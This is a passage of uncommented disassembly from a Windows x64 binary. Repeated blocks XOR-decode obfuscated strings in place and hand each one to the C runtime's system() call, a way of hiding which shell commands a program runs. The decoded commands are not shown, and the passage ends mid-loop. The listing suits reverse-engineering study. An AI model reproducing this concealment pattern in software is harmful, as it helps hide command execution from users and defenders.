packuswb xmm1, xmm1
mov r8d, 0x18
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movdqa xmm0, xmm6
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0x10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x1a
jl 0x140058e30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x1915]
lea rcx, [rbp + 0x99]
mov byte [rbp + 0x99], al
call fcn.14006e910
mov r10, rax
cmp byte [rax + 0x19], 0
je 0x140059151
mov r8d, esi
cmp r15d, 2
jl 0x140059114
movdqa xmm2, xmmword [0x1400c5e80]
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
movdqa xmm0, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
movd eax, xmm13
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm12
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm7
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movdqa xmm2, xmmword [0x1400c5ec0]
andps xmm1, xmm10
movd xmm0, eax
packuswb xmm1, xmm1
mov r8d, 0x18
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movdqa xmm0, xmm6
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0x10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x1a
jl 0x140059120
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x187d]
lea rcx, [rbp + 0x9a]
mov byte [rbp + 0x9a], al
call fcn.14006e940
mov r10, rax
cmp byte [rax + 0x18], 0
je 0x140059441
mov r8d, esi
cmp r15d, 2
jl 0x140059404
movdqa xmm2, xmmword [0x1400c5e80]
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
movdqa xmm0, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
movd eax, xmm13
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm12
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm7
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movdqa xmm2, xmmword [0x1400c5ec0]
andps xmm1, xmm10
movd xmm0, eax
packuswb xmm1, xmm1
mov r8d, 0x18
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movdqa xmm0, xmm6
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0x10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x19
jl 0x140059410
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x199a]
lea rcx, [rbp + 0x9b]
mov byte [rbp + 0x9b], al
call fcn.14006e970
mov r10, rax
cmp byte [rax + 0x1c], 0
je 0x1400595c1
mov r8d, esi
cmp r15d, 2
jl 0x140059583
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x140059490
cmp r8d, 0x1d
jge 0x1400595c1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x1d
jl 0x140059590
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x3660]
lea rcx, [rbp + 0x9c]
mov byte [rbp + 0x9c], al
call fcn.14006e9a0
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x140059741
mov r8d, esi
cmp r15d, 2
jl 0x140059703
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140059610
cmp r8d, 0x21
jge 0x140059741
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x21
jl 0x140059710
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x3a3c]
lea rcx, [rbp + 0x9d]
mov byte [rbp + 0x9d], al
call fcn.14006e9d0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x1400598c1
mov r8d, esi
cmp r15d, 2
jl 0x140059883
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x140059790
cmp r8d, 0x2d
jge 0x1400598c1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x2d
jl 0x140059890
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x37be]
lea rcx, [rbp + 0x9e]
mov byte [rbp + 0x9e], al
call fcn.14006ea10
mov r10, rax
cmp byte [rax + 0x24], 0
je 0x140059a41
mov r8d, esi
cmp r15d, 2
jl 0x140059a03
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140059910
cmp r8d, 0x25
jge 0x140059a41
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x25
jl 0x140059a10
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x370a]
lea rcx, [rbp + 0x9f]
mov byte [rbp + 0x9f], al
call fcn.14006ea40
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x140059bc1
mov r8d, esi
cmp r15d, 2
jl 0x140059b83
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140059a90
cmp r8d, 0x24
jge 0x140059bc1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x24
jl 0x140059b90
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x372e]
lea rcx, [rbp + 0xa0]
mov byte [rbp + 0xa0], al
call fcn.14006ea70
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x140059d41
mov r8d, esi
cmp r15d, 2
jl 0x140059d03
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140059c10
cmp r8d, 0x24
jge 0x140059d41
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x24
jl 0x140059d10
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x3752]
lea rcx, [rbp + 0xa1]
mov byte [rbp + 0xa1], al
call fcn.14006eaa0
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x140059ec1
mov r8d, esi
cmp r15d, 2
jl 0x140059e83
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140059d90
cmp r8d, 0x24
jge 0x140059ec1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x24
jl 0x140059e90
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x3776]
lea rcx, [rbp + 0xa2]
mov byte [rbp + 0xa2], al
call fcn.14006ead0
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x14005a041
mov r8d, esi
cmp r15d, 2
jl 0x14005a003
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140059f10
cmp r8d, 0x24
jge 0x14005a041
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
